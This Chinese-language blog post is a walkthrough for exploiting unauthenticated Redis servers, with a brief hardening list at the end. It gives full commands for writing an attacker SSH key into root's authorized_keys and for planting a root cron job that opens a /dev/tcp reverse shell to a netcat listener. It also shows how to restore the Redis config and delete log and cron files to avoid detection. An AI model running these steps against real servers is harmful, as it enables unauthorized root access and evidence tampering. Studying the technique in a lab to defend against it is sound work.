redis未授权利用
Redia未授权访问利用
漏洞成因
- 未开启登录验证,并且把IP绑定到0.0.0.0
- 未开启登录验证,没有设置绑定IP,
protected-mode关闭
利用
写SSH-keygen
原理
SSH提供两种登录验证方式,一种是口令验证也就是账号密码登录,另一种是密钥验证。
所谓密钥验证,其实就是一种基于公钥密码的认证,使用公钥加密、私钥解密(非对称),其中公钥是可以公开的,放在服务器端,你可以把同一个公钥放在所有你想SSH远程登录的服务器中,而私钥是保密的只有你自己知道,公钥加密的消息只有私钥才能解密,大体过程如下:
(1)客户端生成私钥和公钥,并把公钥拷贝给服务器端;
(2)客户端发起登录请求,发送自己的相关信息;
(3)服务器端根据客户端发来的信息查找是否存有该客户端的公钥,若没有拒绝登录,若有则生成一段随机数使用该公钥加密后发送给客户端;
(4)客户端收到服务器发来的加密后的消息后使用私钥解密,并把解密后的结果发给服务器用于验证;
(5)服务器收到客户端发来的解密结果,与自己刚才生成的随机数比对,若一样则允许登录,不一样则拒绝登录。
利用条件
- root账号启动redis服务
- 服务器开放SSH服务,允许密钥登录。
复现
1.在攻击机生成公私钥
$ ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kali/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
2.切换到当前用户的ssh目录,在公钥中加入换行符
cd /home/kali/.ssh
cat id_rsa.pub
\n \n \n ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCYeEAWFj5M+ZtyPKe8Fi6jqlOvkAuurYqBaVP1Nez43oicr4SaynIUszCc0357m6VOuOPW+zRI4/Gu0pdWPDJbVXGqiBEtI3qvyqBdbZH8yfyXqmheOG5657eNoqlyTBgwUfIjmDEGWTuRRheC9DNc85YHvabc9UdAes7YcPGYfekTJM+7DeunTzvrWojpGL2FMH7RqlH/HSwKRYUzPfnEpu5U3qBdT8ZX1dtC6iNXiVtK/fICh4WZ/2rrEy0wfyLctYhNGmyzNgmR/gVnbBijv6RxOOzvB35chnGMXFXK8a1HY8ZzmjylsgVdlKNbuq1r7K9mhwml91vUXMzMnLEsNACw90MCtsjdl/qRx91skfn0s+6wbUlBZhNt2OUHqiwRKg0TDY8q0zag4WWQvAOvxsDDjPnrFzdFcLUwGYfPRb0mvxeC2Fm1tewMfhuKFRKG9FIU5eVPrfRo8HjeZKtu6YlSE6u4Fo1OLG8bZghuJ9qM7RlGi2MUyJAgDRuk3PU= kali@kali \n \n \n
3.连接redis
redis-cli -h 192.168.59.130 -p 6379
4.利用redis的数据备份功能修改备份目录为 /redis/.ssh/ 备份文件名为 authorized_keys,写入ssh公钥
config set dir /root/.ssh
config set dbfilename authorized_keys
set x "\n \n \n ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCYeEAWFj5M+ZtyPKe8Fi6jqlOvkAuurYqBaVP1Nez43oicr4SaynIUszCc0357m6VOuOPW+zRI4/Gu0pdWPDJbVXGqiBEtI3qvyqBdbZH8yfyXqmheOG5657eNoqlyTBgwUfIjmDEGWTuRRheC9DNc85YHvabc9UdAes7YcPGYfekTJM+7DeunTzvrWojpGL2FMH7RqlH/HSwKRYUzPfnEpu5U3qBdT8ZX1dtC6iNXiVtK/fICh4WZ/2rrEy0wfyLctYhNGmyzNgmR/gVnbBijv6RxOOzvB35chnGMXFXK8a1HY8ZzmjylsgVdlKNbuq1r7K9mhwml91vUXMzMnLEsNACw90MCtsjdl/qRx91skfn0s+6wbUlBZhNt2OUHqiwRKg0TDY8q0zag4WWQvAOvxsDDjPnrFzdFcLUwGYfPRb0mvxeC2Fm1tewMfhuKFRKG9FIU5eVPrfRo8HjeZKtu6YlSE6u4Fo1OLG8bZghuJ9qM7RlGi2MUyJAgDRuk3PU= kali@kali \n \n \n"
save
5.在攻击机使用ssh连接
ssh -i id_rsa root@192.168.59.130
写计划任务反弹shell
用户定义的设置,位于文件:/var/spool/cron/用户名
原理
/var/spool/cron/目录下存放的为以各个用户命名的计划任务文件,root用户可以修改任意用户的计划任务。dbfilename设置为root为用root用户权限执行计划任务。
执行命令反弹shell(写计划任务时会覆盖原来存在的用户计划任务).写文件之前先获取dir和dbfilename的值,以便恢复redis配置,将改动降到最低,避免被发现。
利用条件
redis是以root用户启动
复现
攻击机监听
nc -lvnp 9090
连接redis
redis-cli -h 192.168.59.130 -p 6379
在redis中操作
#获取dir的值
config get dir
#获取dbfilename的值
config get dbfilename
#设置数据库备份目录为linux计划任务目录
config set dir '/var/spool/cron'
#设置备份文件名为root,以root身份执行计划任务
config set dbfilename 'root'
set 34d "\n* * * * * /bin/sh -i >& /dev/tcp/192.168.59.129/9090 0>&1\n"
save
接收到shell稳定后后恢复数据
#删除新增的key
del key
#恢复dir和dbfilename
config set dir ''
config set dbfilename ''
删除入侵痕迹
rm -rf /var/spool/mail/root
删除计划任务
rm -rf /var/spool/cron/root
写webshell
原理
利用条件
- 已知web的绝对路径
- 具有读写权限
防护
禁止一些高危命令
以低权限运行 Redis 服务
为 Redis 添加密码验证
禁止外网访问 Redis
修改默认端口
保证 authorized_keys 文件的安全
设置防火墙策略

浙公网安备 33010602011771号